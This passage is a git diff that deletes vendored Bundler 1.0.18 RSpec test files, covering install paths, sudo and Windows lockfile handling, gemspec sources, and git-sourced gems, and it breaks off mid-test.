-      it "installs gems to BUNDLE_PATH with #{type}" do
-        set_bundle_path(type, bundled_app("vendor").to_s)
-
-        bundle :install
-
-        bundled_app('vendor/gems/rack-1.0.0').should be_directory
-        should_be_installed "rack 1.0.0"
-      end
-
-      it "installs gems to BUNDLE_PATH relative to root when relative" do
-        set_bundle_path(type, "vendor")
-
-        FileUtils.mkdir_p bundled_app('lol')
-        Dir.chdir(bundled_app('lol')) do
-          bundle :install
-        end
-
-        bundled_app('vendor/gems/rack-1.0.0').should be_directory
-        should_be_installed "rack 1.0.0"
-      end
-    end
-
-    it "installs gems to BUNDLE_PATH from .bundle/config" do
-      config "BUNDLE_PATH" => bundled_app("vendor/bundle").to_s
-
-      bundle :install
-
-      vendored_gems('gems/rack-1.0.0').should be_directory
-      should_be_installed "rack 1.0.0"
-    end
-
-    it "sets BUNDLE_PATH as the first argument to bundle install" do
-      bundle "install --path ./vendor/bundle"
-
-      vendored_gems('gems/rack-1.0.0').should be_directory
-      should_be_installed "rack 1.0.0"
-    end
-
-    it "disables system gems when passing a path to install" do
-      # This is so that vendored gems can be distributed to others
-      build_gem "rack", "1.1.0", :to_system => true
-      bundle "install --path ./vendor/bundle"
-
-      vendored_gems('gems/rack-1.0.0').should be_directory
-      should_be_installed "rack 1.0.0"
-    end
-  end
-
-  describe "when passing in a Gemfile via --gemfile" do
-    it "finds the gemfile" do
-      gemfile bundled_app("NotGemfile"), <<-G
-        source "file://#{gem_repo1}"
-        gem 'rack'
-      G
-
-      bundle :install, :gemfile => bundled_app("NotGemfile")
-
-      ENV['BUNDLE_GEMFILE'] = "NotGemfile"
-      should_be_installed "rack 1.0.0"
-    end
-  end
-
-  describe "when requesting a quiet install via --quiet" do
-    it "should be quiet if there are no warnings" do
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem 'rack'
-      G
-
-      bundle :install, :quiet => true
-      out.should == ""
-    end
-
-    it "should still display warnings" do
-      gemfile <<-G
-        gem 'rack'
-      G
-
-      bundle :install, :quiet => true
-      out.should =~ /doesn't have any sources/
-    end
-  end
-
-  describe "when disabling system gems" do
-    before :each do
-      build_gem "rack", "1.0.0", :to_system => true do |s|
-        s.write "lib/rack.rb", "puts 'FAIL'"
-      end
-
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-    end
-
-    it "behaves like bundle install vendor/bundle with --deployment" do
-      bundle "install"
-      bundle "install --deployment"
-      out.should include("It was installed into ./vendor/bundle")
-      should_be_installed "rack 1.0.0"
-      bundled_app("vendor/bundle").should exist
-    end
-
-    it "prints a warning if you try to use --disable-shared-gems" do
-      bundle "install --path vendor --disable-shared-gems"
-      out.should include "The disable-shared-gem option is no longer available"
-    end
-
-    ["install vendor/bundle", "install --path vendor/bundle"].each do |install|
-      if install == "install vendor/bundle"
-        it "displays the deprecation warning for path as an argument to install" do
-          bundle install
-          out.should include("The path argument to `bundle install` is deprecated.")
-        end
-      end
-
-      it "does not use available system gems with bundle #{install}" do
-        bundle install
-        should_be_installed "rack 1.0.0"
-      end
-
-      it "prints a warning to let the user know what has happened with bundle #{install}" do
-        bundle install
-        out.should include("It was installed into ./vendor")
-      end
-
-      it "disallows #{install} --system" do
-        bundle "#{install} --system"
-        out.should include("Please choose.")
-      end
-
-      it "remembers to disable system gems after the first time with bundle #{install}" do
-        bundle install
-        FileUtils.rm_rf bundled_app('vendor')
-        bundle "install"
-
-        vendored_gems('gems/rack-1.0.0').should be_directory
-        should_be_installed "rack 1.0.0"
-      end
-    end
-  end
-
-  describe "when loading only the default group" do
-    it "should not load all groups" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-        gem "activesupport", :group => :development
-      G
-
-      ruby <<-R
-        require "bundler"
-        Bundler.setup :default
-        Bundler.require :default
-        puts RACK
-        begin
-          require "activesupport"
-        rescue LoadError
-          puts "no activesupport"
-        end
-      R
-
-      out.should include("1.0")
-      out.should include("no activesupport")
-    end
-  end
-
-  describe "when a gem has a YAML gemspec" do
-    before :each do
-      build_repo2 do
-        build_gem "yaml_spec", :gemspec => :yaml
-      end
-    end
-
-    it "still installs correctly" do
-      gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "yaml_spec"
-      G
-      bundle :install
-      err.should be_empty
-    end
-
-    it "still installs correctly when using path" do
-      build_lib 'yaml_spec', :gemspec => :yaml
-
-      install_gemfile <<-G
-        gem 'yaml_spec', :path => "#{lib_path('yaml_spec-1.0')}"
-      G
-      err.should == ""
-    end
-  end
-
-  describe "when the gem has an architecture in its platform" do
-    it "still installs correctly" do
-      simulate_platform mswin
-
-      gemfile <<-G
-        # Set up pretend http gem server with FakeWeb
-        $LOAD_PATH.unshift '#{Dir[base_system_gems.join("gems/fakeweb*/lib")].first}'
-        require 'fakeweb'
-        FakeWeb.allow_net_connect = false
-        files = [ 'specs.4.8.gz',
-                  'prerelease_specs.4.8.gz',
-                  'quick/Marshal.4.8/rcov-1.0-mswin32.gemspec.rz',
-                  'gems/rcov-1.0-mswin32.gem' ]
-        files.each do |file|
-          FakeWeb.register_uri(:get, "http://localgemserver.com/\#{file}",
-            :body => File.read("#{gem_repo1}/\#{file}"))
-        end
-        FakeWeb.register_uri(:get, "http://localgemserver.com/gems/rcov-1.0-x86-mswin32.gem",
-          :status => ["404", "Not Found"])
-
-        # Try to install gem with nil arch
-        source "http://localgemserver.com/"
-        gem "rcov"
-      G
-      bundle :install
-      should_be_installed "rcov 1.0.0"
-    end
-  end
-
-  describe "bundler dependencies" do
-    before(:each) do
-      build_repo2 do
-        build_gem "rails", "3.0" do |s|
-          s.add_dependency "bundler", ">= 0.9.0.pre"
-        end
-        build_gem "bundler", "0.9.1"
-        build_gem "bundler", Bundler::VERSION
-      end
-    end
-
-    it "are forced to the current bundler version" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rails", "3.0"
-      G
-
-      should_be_installed "bundler #{Bundler::VERSION}"
-    end
-
-    it "are not added if not already present" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-      should_not_be_installed "bundler #{Bundler::VERSION}"
-    end
-
-    it "causes a conflict if explicitly requesting a different version" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rails", "3.0"
-        gem "bundler", "0.9.2"
-      G
-
-      nice_error = <<-E.strip.gsub(/^ {8}/, '')
-        Fetching source index for file:#{gem_repo2}/
-        Bundler could not find compatible versions for gem "bundler":
-          In Gemfile:
-            bundler (= 0.9.2)
-
-          Current Bundler version:
-            bundler (#{Bundler::VERSION})
-        E
-      out.should == nice_error
-    end
-
-    it "works for gems with multiple versions in its dependencies" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-
-        gem "multiple_versioned_deps"
-      G
-
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-
-        gem "multiple_versioned_deps"
-        gem "rack"
-      G
-
-      should_be_installed "multiple_versioned_deps 1.0.0"
-    end
-
-    it "includes bundler in the bundle when it's a child dependency" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rails", "3.0"
-      G
-
-      run "begin; gem 'bundler'; puts 'WIN'; rescue Gem::LoadError; puts 'FAIL'; end"
-      out.should == "WIN"
-    end
-
-    it "allows gem 'bundler' when Bundler is not in the Gemfile or its dependencies" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rack"
-      G
-
-      run "begin; gem 'bundler'; puts 'WIN'; rescue Gem::LoadError => e; puts e.backtrace; end"
-      out.should == "WIN"
-    end
-
-    it "causes a conflict if child dependencies conflict" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "activemerchant"
-        gem "rails_fail"
-      G
-
-      nice_error = <<-E.strip.gsub(/^ {8}/, '')
-        Fetching source index for file:#{gem_repo2}/
-        Bundler could not find compatible versions for gem "activesupport":
-          In Gemfile:
-            activemerchant depends on
-              activesupport (>= 2.0.0)
-
-            rails_fail depends on
-              activesupport (1.2.3)
-      E
-      out.should == nice_error
-    end
-
-    it "causes a conflict if a child dependency conflicts with the Gemfile" do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rails_fail"
-        gem "activesupport", "2.3.5"
-      G
-
-      nice_error = <<-E.strip.gsub(/^ {8}/, '')
-        Fetching source index for file:#{gem_repo2}/
-        Bundler could not find compatible versions for gem "activesupport":
-          In Gemfile:
-            rails_fail depends on
-              activesupport (= 1.2.3)
-
-            activesupport (2.3.5)
-      E
-      out.should == nice_error
-    end
-
-    it "can install dependencies even if " do
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "rails", "3.0"
-      G
-
-      simulate_bundler_version "10.0.0"
-      #simulate_new_machine
-
-      bundle "check"
-      out.should == "The Gemfile's dependencies are satisfied"
-    end
-  end
-
-  describe "when locked and installed with --without" do
-    before(:each) do
-      build_repo2
-      system_gems "rack-0.9.1" do
-        install_gemfile <<-G, :without => :rack
-          source "file://#{gem_repo2}"
-          gem "rack"
-
-          group :rack do
-            gem "rack_middleware"
-          end
-        G
-      end
-    end
-
-    it "uses the correct versions even if --without was used on the original" do
-      should_be_installed "rack 0.9.1"
-      should_not_be_installed "rack_middleware 1.0"
-      simulate_new_machine
-
-      bundle :install
-
-      should_be_installed "rack 0.9.1"
-      should_be_installed "rack_middleware 1.0"
-    end
-
-    it "does not hit the remote a second time" do
-      FileUtils.rm_rf gem_repo2
-      bundle "install --without rack"
-      err.should be_empty
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/sudo_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/sudo_spec.rb
deleted file mode 100644
index 3894f768..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/sudo_spec.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-require "spec_helper"
-
-describe "when using sudo", :sudo => true do
-  describe "and GEM_HOME is owned by root" do
-    before :each do
-      chown_system_gems_to_root
-    end
-
-    it "installs" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", '1.0'
-        gem "thin"
-      G
-
-      system_gem_path("gems/rack-1.0.0").should exist
-      system_gem_path("gems/rack-1.0.0").stat.uid.should eq(0)
-      should_be_installed "rack 1.0"
-    end
-
-    it "installs when BUNDLE_PATH is owned by root" do
-      bundle_path = tmp("owned_by_root")
-      FileUtils.mkdir_p bundle_path
-      sudo "chown -R root #{bundle_path}"
-
-      ENV['BUNDLE_PATH'] = bundle_path.to_s
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", '1.0'
-      G
-
-      bundle_path.join("gems/rack-1.0.0").should exist
-      bundle_path.join("gems/rack-1.0.0").stat.uid.should eq(0)
-      should_be_installed "rack 1.0"
-    end
-
-    it "installs when BUNDLE_PATH does not exist"
-  end
-
-  describe "and BUNDLE_PATH is not writable" do
-    it "installs" do
-      sudo "chmod ugo-w #{default_bundle_path}"
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", '1.0'
-      G
-
-      default_bundle_path("gems/rack-1.0.0").should exist
-      should_be_installed "rack 1.0"
-    end
-  end
-
-  describe "and BUNDLE_PATH is not writable" do
-    it "installs" do
-      begin
-        gem_home = tmp('sudo_gem_home')
-
-        sudo "mkdir -p #{gem_home}"
-        sudo "chmod ugo-w #{gem_home}"
-        ENV['GEM_HOME'] = gem_home.to_s
-        ENV['GEM_PATH'] = nil
-
-        install_gemfile <<-G
-          source "file://#{gem_repo1}"
-          gem "rack", '1.0'
-        G
-
-        gem_home.join('bin/rackup').should exist
-        should_be_installed "rack 1.0"
-      end
-    end
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/win32_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/win32_spec.rb
deleted file mode 100644
index 59adb183..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gems/win32_spec.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-require 'spec_helper'
-
-describe "bundle install with win32-generated lockfile" do
-  it 'should read lockfile' do
-    File.open(bundled_app('Gemfile.lock'), 'wb') do |f|
-      f << "GEM\r\n"
-      f << "  remote: file:#{gem_repo1}/\r\n"
-      f << "  specs:\r\n"
-      f << "\r\n"
-      f << "    rack (1.0.0)\r\n"
-      f << "\r\n"
-      f << "PLATFORMS\r\n"
-      f << "  ruby\r\n"
-      f << "\r\n"
-      f << "DEPENDENCIES\r\n"
-      f << "  rack\r\n"
-    end
-
-    install_gemfile <<-G, :exitstatus => true
-      source "file://#{gem_repo1}"
-
-      gem "rack"
-    G
-    @exitstatus.should == 0
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gemspec_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gemspec_spec.rb
deleted file mode 100644
index dce8b16c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/gemspec_spec.rb
+++ /dev/null
@@ -1,125 +0,0 @@
-require "spec_helper"
-
-describe "bundle install from an existing gemspec" do
-
-  before(:each) do
-    build_gem "bar", :to_system => true
-    build_gem "bar-dev", :to_system => true
-  end
-
-  it "should install runtime and development dependencies" do
-    build_lib("foo", :path => tmp.join("foo")) do |s|
-      s.write("Gemfile", "source :rubygems\ngemspec")
-      s.add_dependency "bar", "=1.0.0"
-      s.add_development_dependency "bar-dev", '=1.0.0'
-    end
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-      gemspec :path => '#{tmp.join("foo")}'
-    G
-
-    should_be_installed "bar 1.0.0"
-    should_be_installed "bar-dev 1.0.0", :groups => :development
-  end
-
-  it "that is hidden should install runtime and development dependencies" do
-    build_lib("foo", :path => tmp.join("foo")) do |s|
-      s.write("Gemfile", "source :rubygems\ngemspec")
-      s.add_dependency "bar", "=1.0.0"
-      s.add_development_dependency "bar-dev", '=1.0.0'
-    end
-    FileUtils.mv tmp.join('foo', 'foo.gemspec'), tmp.join('foo', '.gemspec')
-
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-      gemspec :path => '#{tmp.join("foo")}'
-    G
-
-    should_be_installed "bar 1.0.0"
-    should_be_installed "bar-dev 1.0.0", :groups => :development
-  end
-
-  it "should handle a list of requirements" do
-    build_gem "baz", "1.0", :to_system => true
-    build_gem "baz", "1.1", :to_system => true
-
-    build_lib("foo", :path => tmp.join("foo")) do |s|
-      s.write("Gemfile", "source :rubygems\ngemspec")
-      s.add_dependency "baz", ">= 1.0", "< 1.1"
-    end
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-      gemspec :path => '#{tmp.join("foo")}'
-    G
-
-    should_be_installed "baz 1.0"
-  end
-
-  it "should raise if there are no gemspecs available" do
-    build_lib("foo", :path => tmp.join("foo"), :gemspec => false)
-
-    error = install_gemfile(<<-G, :expect_err => true)
-      source "file://#{gem_repo2}"
-      gemspec :path => '#{tmp.join("foo")}'
-    G
-    error.should match(/There are no gemspecs at #{tmp.join('foo')}/)
-  end
-
-  it "should raise if there are too many gemspecs available" do
-    build_lib("foo", :path => tmp.join("foo")) do |s|
-      s.write("foo2.gemspec", "")
-    end
-
-    error = install_gemfile(<<-G, :expect_err => true)
-      source "file://#{gem_repo2}"
-      gemspec :path => '#{tmp.join("foo")}'
-    G
-    error.should match(/There are multiple gemspecs at #{tmp.join('foo')}/)
-  end
-
-  it "should pick a specific gemspec" do
-    build_lib("foo", :path => tmp.join("foo")) do |s|
-      s.write("foo2.gemspec", "")
-      s.add_dependency "bar", "=1.0.0"
-      s.add_development_dependency "bar-dev", '=1.0.0'
-    end
-
-    install_gemfile(<<-G, :expect_err => true)
-      source "file://#{gem_repo2}"
-      gemspec :path => '#{tmp.join("foo")}', :name => 'foo'
-    G
-
-    should_be_installed "bar 1.0.0"
-    should_be_installed "bar-dev 1.0.0", :groups => :development
-  end
-
-  it "should use a specific group for development dependencies" do
-    build_lib("foo", :path => tmp.join("foo")) do |s|
-      s.write("foo2.gemspec", "")
-      s.add_dependency "bar", "=1.0.0"
-      s.add_development_dependency "bar-dev", '=1.0.0'
-    end
-
-    install_gemfile(<<-G, :expect_err => true)
-      source "file://#{gem_repo2}"
-      gemspec :path => '#{tmp.join("foo")}', :name => 'foo', :development_group => :dev
-    G
-
-    should_be_installed "bar 1.0.0"
-    should_not_be_installed "bar-dev 1.0.0", :groups => :development
-    should_be_installed "bar-dev 1.0.0", :groups => :dev
-  end
-
-  it "should evaluate the gemspec in its directory" do
-    build_lib("foo", :path => tmp.join("foo"))
-    File.open(tmp.join("foo/foo.gemspec"), "w") do |s|
-      s.write "raise 'ahh' unless Dir.pwd == '#{tmp.join("foo")}'"
-    end
-
-    install_gemfile <<-G, :expect_err => true
-      gemspec :path => '#{tmp.join("foo")}'
-    G
-    @err.should_not match(/ahh/)
-  end
-
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/git_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/git_spec.rb
deleted file mode 100644
index da2e886e..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/install/git_spec.rb
+++ /dev/null
@@ -1,570 +0,0 @@
-require "spec_helper"
-
-describe "bundle install with git sources" do
-  describe "when floating on master" do
-    before :each do
-      build_git "foo" do |s|
-        s.executables = "foobar"
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        git "#{lib_path('foo-1.0')}" do
-          gem 'foo'
-        end
-      G
-    end
-
-    it "fetches gems" do
-      should_be_installed("foo 1.0")
-
-      run <<-RUBY
-        require 'foo'
-        puts "WIN" unless defined?(FOO_PREV_REF)
-      RUBY
-
-      out.should == "WIN"
-    end
-
-    it "caches the git repo" do
-      Dir["#{default_bundle_path}/cache/bundler/git/foo-1.0-*"].should have(1).item
-    end
-
-    it "does not update the git source implicitly" do
-      update_git "foo"
-
-      in_app_root2 do
-        install_gemfile bundled_app2("Gemfile"), <<-G
-          git "#{lib_path('foo-1.0')}" do
-            gem 'foo'
-          end
-        G
-      end
-
-      in_app_root do
-        run <<-RUBY
-          require 'foo'
-          puts "fail" if defined?(FOO_PREV_REF)
-        RUBY
-
-        out.should be_empty
-      end
-    end
-
-    it "setups executables" do
-      pending_jruby_shebang_fix
-      bundle "exec foobar"
-      out.should == "1.0"
-    end
-
-    it "complains if pinned specs don't exist in the git repo" do
-      build_git "foo"
-
-      install_gemfile <<-G
-        gem "foo", "1.1", :git => "#{lib_path('foo-1.0')}"
-      G
-
-      out.should include("Source contains 'foo' at: 1.0")
-    end
-
-    it "still works after moving the application directory" do
-      bundle "install --path vendor/bundle"
-      FileUtils.mv bundled_app, tmp('bundled_app.bck')
-
-      Dir.chdir tmp('bundled_app.bck')
-      should_be_installed "foo 1.0"
-    end
-
-    it "can still install after moving the application directory" do
-      bundle "install --path vendor/bundle"
-      FileUtils.mv bundled_app, tmp('bundled_app.bck')
-
-      update_git "foo", "1.1", :path => lib_path("foo-1.0")
-
-      Dir.chdir tmp('bundled_app.bck')
-      gemfile tmp('bundled_app.bck/Gemfile'), <<-G
-        source "file://#{gem_repo1}"
-        git "#{lib_path('foo-1.0')}" do
-          gem 'foo'
-        end
-
-        gem "rack", "1.0"
-      G
-
-      bundle "update foo"
-
-      should_be_installed "foo 1.1", "rack 1.0"
-    end
-
-  end
-
-  describe "with an empty git block" do
-    before do
-      build_git "foo"
-      gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-
-        git "#{lib_path("foo-1.0")}" do
-          # this page left intentionally blank
-        end
-      G
-    end
-
-    it "does not explode" do
-      bundle "install"
-      should_be_installed "rack 1.0"
-    end
-  end
-
-  describe "when specifying a revision" do
-    before(:each) do
-      build_git "foo"
-      @revision = revision_for(lib_path("foo-1.0"))
-      update_git "foo"
-    end
-
-    it "works" do
-      install_gemfile <<-G
-        git "#{lib_path('foo-1.0')}", :ref => "#{@revision}" do
-          gem "foo"
-        end
-      G
-
-      run <<-RUBY
-        require 'foo'
-        puts "WIN" unless defined?(FOO_PREV_REF)
-      RUBY
-
-      out.should == "WIN"
-    end
-
-    it "works when the revision is a symbol" do
-      install_gemfile <<-G
-        git "#{lib_path('foo-1.0')}", :ref => #{@revision.to_sym.inspect} do
-          gem "foo"
-        end
-      G
-      err.should eq("")
-
-      run <<-RUBY
-        require 'foo'
-        puts "WIN" unless defined?(FOO_PREV_REF)
-      RUBY
-
-      out.should == "WIN"
-    end
-  end
-
-  describe "specified inline" do
-    # TODO: Figure out how to write this test so that it is not flaky depending
-    #       on the current network situation.
-    # it "supports private git URLs" do
-    #   gemfile <<-G
-    #     gem "thingy", :git => "git@notthere.fallingsnow.net:somebody/thingy.git"
-    #   G
-    #
-    #   bundle :install, :expect_err => true
-    #
-    #   # p out
-    #   # p err
-    #   puts err unless err.empty? # This spec fails randomly every so often
-    #   err.should include("notthere.fallingsnow.net")
-    #   err.should include("ssh")
-    # end
-
-    it "installs from git even if a newer gem is available elsewhere" do
-      build_git "rack", "0.8"
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", :git => "#{lib_path('rack-0.8')}"
-      G
-
-      should_be_installed "rack 0.8"
-    end
-
-    it "installs dependencies from git even if a newer gem is available elsewhere" do
-      system_gems "rack-1.0.0"
-
-      build_lib "rack", "1.0", :path => lib_path('nested/bar') do |s|
-        s.write "lib/rack.rb", "puts 'WIN OVERRIDE'"
-      end
-
-      build_git "foo", :path => lib_path('nested') do |s|
-        s.add_dependency "rack", "= 1.0"
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "foo", :git => "#{lib_path('nested')}"
-      G
-
-      run "require 'rack'"
-      out.should == 'WIN OVERRIDE'
-    end
-
-    it "correctly unlocks when changing to a git source" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "0.9.1"
-      G
-
-      build_git "rack", :path => lib_path("rack")
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", "1.0.0", :git => "#{lib_path('rack')}"
-      G
-
-      should_be_installed "rack 1.0.0"
-    end
-
-    it "correctly unlocks when changing to a git source without versions" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack"
-      G
-
-      build_git "rack", "1.2", :path => lib_path("rack")
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack", :git => "#{lib_path('rack')}"
-      G
-
-      should_be_installed "rack 1.2"
-    end
-  end
-
-  describe "block syntax" do
-    it "pulls all gems from a git block" do
-      build_lib "omg", :path => lib_path('hi2u/omg')
-      build_lib "hi2u", :path => lib_path('hi2u')
-
-      install_gemfile <<-G
-        path "#{lib_path('hi2u')}" do
-          gem "omg"
-          gem "hi2u"
-        end
-      G
-
-      should_be_installed "omg 1.0", "hi2u 1.0"
-    end
-  end
-
-  it "uses a ref if specified" do
-    build_git "foo"
-    @revision = revision_for(lib_path("foo-1.0"))
-    update_git "foo"
-
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path('foo-1.0')}", :ref => "#{@revision}"
-    G
-
-    run <<-RUBY
-      require 'foo'
-      puts "WIN" unless defined?(FOO_PREV_REF)
-    RUBY
-
-    out.should == "WIN"
-  end
-
-  it "correctly handles cases with invalid gemspecs" do
-    build_git "foo" do |s|
-      s.summary = nil
-    end
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "foo", :git => "#{lib_path('foo-1.0')}"
-      gem "rails", "2.3.2"
-    G
-
-    should_be_installed "foo 1.0"
-    should_be_installed "rails 2.3.2"
-  end
-
-  it "runs the gemspec in the context of its parent directory" do
-    build_lib "bar", :path => lib_path("foo/bar"), :gemspec => false do |s|
-      s.write lib_path("foo/bar/lib/version.rb"), %{BAR_VERSION = '1.0'}
-      s.write "bar.gemspec", <<-G
-        $:.unshift Dir.pwd # For 1.9
-        require 'lib/version'
-        Gem::Specification.new do |s|
-          s.name        = 'bar'
-          s.version     = BAR_VERSION
-          s.summary     = 'Bar'
-          s.files       = Dir["lib/**/*.rb"]
-        end
-      G
-    end
-
-    build_git "foo", :path => lib_path("foo") do |s|
-      s.write "bin/foo", ""
-    end
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "bar", :git => "#{lib_path("foo")}"
-      gem "rails", "2.3.2"
-    G
-
-    should_be_installed "bar 1.0"
-    should_be_installed "rails 2.3.2"
-  end
-
-  it "installs from git even if a rubygems gem is present" do
-    build_gem "foo", "1.0", :path => lib_path('fake_foo'), :to_system => true do |s|
-      s.write "lib/foo.rb", "raise 'FAIL'"
-    end
-
-    build_git "foo", "1.0"
-
-    install_gemfile <<-G
-      gem "foo", "1.0", :git => "#{lib_path('foo-1.0')}"
-    G
-
-    should_be_installed "foo 1.0"
-  end
-
-  it "fakes the gem out if there is no gemspec" do
-    build_git "foo", :gemspec => false
-
-    install_gemfile <<-G
-      source "file://#{gem_repo1}"
-      gem "foo", "1.0", :git => "#{lib_path('foo-1.0')}"
-      gem "rails", "2.3.2"
-    G
-
-    should_be_installed("foo 1.0")
-    should_be_installed("rails 2.3.2")
-  end
-
-  it "catches git errors and spits out useful output" do
-    gemfile <<-G
-      gem "foo", "1.0", :git => "omgomg"
-    G
-
-    bundle :install, :expect_err => true
-
-    out.should include("Git error:")
-    err.should include("fatal")
-    err.should include("omgomg")
-  end
-
-  it "works when the gem path has spaces in it" do
-    build_git "foo", :path => lib_path('foo space-1.0')
-
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path('foo space-1.0')}"
-    G
-
-    should_be_installed "foo 1.0"
-  end
-
-  it "handles repos that have been force-pushed" do
-    build_git "forced", "1.0"
-
-    install_gemfile <<-G
-      git "#{lib_path('forced-1.0')}" do
-        gem 'forced'
-      end
-    G
-    should_be_installed "forced 1.0"
-
-    update_git "forced" do |s|
-      s.write "lib/forced.rb", "FORCED = '1.1'"
-    end
-
-    bundle "update"
-    should_be_installed "forced 1.1"
-
-    Dir.chdir(lib_path('forced-1.0')) do
-      `git reset --hard HEAD^`
-    end
-
-    bundle "update"
-    should_be_installed "forced 1.0"
-  end
-
-  it "ignores submodules if :submodule is not passed" do
-    build_git "submodule", "1.0"
-    build_git "has_submodule", "1.0" do |s|
-      s.add_dependency "submodule"
-    end
-    Dir.chdir(lib_path('has_submodule-1.0')) do
-      `git submodule add #{lib_path('submodule-1.0')} submodule-1.0`
-      `git commit -m "submodulator"`
-    end
-
-    install_gemfile <<-G, :expect_err => true
-      git "#{lib_path('has_submodule-1.0')}" do
-        gem "has_submodule"
-      end
-    G
-    out.should =~ /could not find gem 'submodule'/i
-
-    should_not_be_installed "has_submodule 1.0", :expect_err => true
-  end
-
-  it "handles repos with submodules" do
-    build_git "submodule", "1.0"
-    build_git "has_submodule", "1.0" do |s|
-      s.add_dependency "submodule"
-    end
-    Dir.chdir(lib_path('has_submodule-1.0')) do
-      `git submodule add #{lib_path('submodule-1.0')} submodule-1.0`
-      `git commit -m "submodulator"`
-    end
-
-    install_gemfile <<-G
-      git "#{lib_path('has_submodule-1.0')}", :submodules => true do
-        gem "has_submodule"
-      end
-    G
-
-    should_be_installed "has_submodule 1.0"
-  end
-
-  it "handles implicit updates when modifying the source info" do
-    git = build_git "foo"
-
-    install_gemfile <<-G
-      git "#{lib_path('foo-1.0')}" do
-        gem "foo"
-      end
-    G
-
-    update_git "foo"
-    update_git "foo"
-
-    install_gemfile <<-G
-      git "#{lib_path('foo-1.0')}", :ref => "#{git.ref_for('HEAD^')}" do
-        gem "foo"
-      end
-    G
-
-    run <<-RUBY
-      require 'foo'
-      puts "WIN" if FOO_PREV_REF == '#{git.ref_for("HEAD^^")}'
-    RUBY
-
-    out.should == "WIN"
-  end
-
-  it "does not to a remote fetch if the revision is cached locally" do
-    build_git "foo"
-
-    install_gemfile <<-G
-      gem "foo", :git => "#{lib_path('foo-1.0')}"
-    G
-
-    FileUtils.rm_rf(lib_path('foo-1.0'))
-
-    bundle "install"
-    out.should_not =~ /updating/i
-  end
-
-  it "doesn't blow up if bundle install is run twice in a row" do
-    build_git "foo"
-
-    gemfile <<-G
-      gem "foo", :git => "#{lib_path('foo-1.0')}"
-    G
-
-    bundle "install"
-    bundle "install", :exitstatus => true
-    exitstatus.should == 0
-  end
-
-  describe "switching sources" do
-    it "doesn't explode when switching Path to Git sources" do
-      build_gem "foo", "1.0", :to_system => true do |s|
-        s.write "lib/foo.rb", "raise 'fail'"
-      end
-      build_lib "foo", "1.0", :path => lib_path('bar/foo')
-      build_git "bar", "1.0", :path => lib_path('bar') do |s|
-        s.add_dependency 'foo'
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "bar", :path => "#{lib_path('bar')}"
-      G
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "bar", :git => "#{lib_path('bar')}"
-      G
-
-      should_be_installed "foo 1.0", "bar 1.0"
-    end
-
-    it "doesn't explode when switching Gem to Git source" do
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack-obama"
-        gem "rack", "1.0.0"
-      G
-
-      build_git "rack", "1.0" do |s|
-        s.write "lib/new_file.rb", "puts 'USING GIT'"
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo1}"
-        gem "rack-obama"
-        gem "rack", "1.0.0", :git => "#{lib_path("rack-1.0")}"
-      G
-
-      run "require 'new_file'"
-      out.should == "USING GIT"
-    end
-  end
-
-  describe "bundle install after the remote has been updated" do
-    it "installs" do
-      build_git "valim"
-
-      install_gemfile <<-G
-        gem "valim", :git => "file://#{lib_path("valim-1.0")}"
-      G
-
-      old_revision = revision_for(lib_path("valim-1.0"))
-      update_git "valim"
